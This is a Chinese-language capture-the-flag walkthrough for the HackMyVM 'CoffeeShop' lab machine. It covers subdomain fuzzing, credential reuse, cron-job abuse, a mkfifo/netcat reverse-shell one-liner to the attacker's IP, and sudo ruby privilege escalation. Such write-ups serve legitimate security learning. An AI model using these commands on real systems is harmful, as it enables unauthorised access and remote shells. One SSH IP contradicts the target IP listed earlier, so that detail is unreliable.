hackmyvm-coffeeshop

https://hackmyvm.eu/machines/machine.php?vm=CoffeeShop

	靶机	攻击机
IP	192.168.101.238	192.168.101.183

信息收集

开局扫一扫：

开放了22和80端口

访问/shop:

尝试爆破账号密码-失败

子域名爆破

sudo apt install seclists
echo "192.168.101.238 midnight.coffee" >> /etc/hosts
wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u midnight.coffee -H "Host: FUZZ.midnight.coffee" --hh 1690

爆出了子域名dev.midnight.coffee

继续修改/etc/hosts和HOSTS为：

访问：

得到：developer/developer

再结合刚刚的登录界面：

得到：

SSH登录：tuna / 1L0v3_TuN4_Very_Much

ssh tuna@192.168.101.138

linpeas.sh

bash linpeas.sh

确实能够得到很多信息，比如以下：

查看这个定时任务：

pspy64

看文件是谁执行的-查看进程

可见是UID为1001的用户执行的

可见是shopadmin用户，之后反弹得到的就是shopadmin用户的shell

然后根据上面的定时任务在/tmp目录创建sh文件：

rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.101.183 1234 >/tmp/m

优化shell：

sudo提权-ruby

ruby的提权-https://gtfobins.github.io/gtfobins/ruby/#sudo

sudo ruby -e 'exec "/bin/sh"' /opt/shop.rb

参考

https://www.bilibili.com/video/BV1R5411i72q?t=2.1